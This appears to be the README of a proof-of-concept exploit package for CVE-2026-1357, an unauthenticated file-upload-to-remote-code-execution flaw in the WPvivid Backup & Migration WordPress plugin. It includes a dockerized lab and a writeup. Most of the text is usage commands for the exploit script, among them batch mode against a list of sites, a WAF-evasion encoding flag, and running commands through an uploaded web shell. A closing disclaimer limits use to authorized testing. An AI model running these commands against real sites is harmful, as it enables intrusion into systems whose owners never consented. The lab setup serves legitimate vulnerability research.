## https://sploitus.com/exploit?id=2A60DAEE-BB8B-5330-8F43-785913A667A8
# CVE-2026-1357
Unauthenticated Arbitrary File Upload → Remote Code Execution in **WPvivid Backup & Migration ≤ 0.9.123** (WordPress), CVSS 9.8, CWE-434. Fixed in 0.9.124 (changeset 3448386). Reported by Lucas Montes via Wordfence.
- [CVE-2026-1357.md](CVE-2026-1357.md) — vulnerability writeup
- [CVE-2026-1357-poc/](CVE-2026-1357-poc/) — PoC package (stdlib-only Python, no external deps)
- [lab/](lab/) — dockerized vulnerable target (WordPress 6.8 + WPvivid 0.9.123)
## Quick start (lab)
```bash
cd lab
docker compose up -d
# complete the WordPress install at http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py --url http://localhost:8090 --command id --cleanup
```
## Usage
```bash
python script.py --url https://target.example.com # single target
python script.py --list sites.txt --out results.json # batch mode
python script.py --url https://target.example.com --encode # WAF evasion: percent-encoded params
python script.py --url https://target.example.com --multipart
python script.py --shell-url https://target.example.com/a1b2c3d4e5f6.php --command id
```
See [CVE-2026-1357-poc/README.md](CVE-2026-1357-poc/README.md) for the full technical analysis.
## ⚠️ Legal
Authorized security research and defensive testing only. You must own the target
system or have explicit written permission from its owner before using this tool.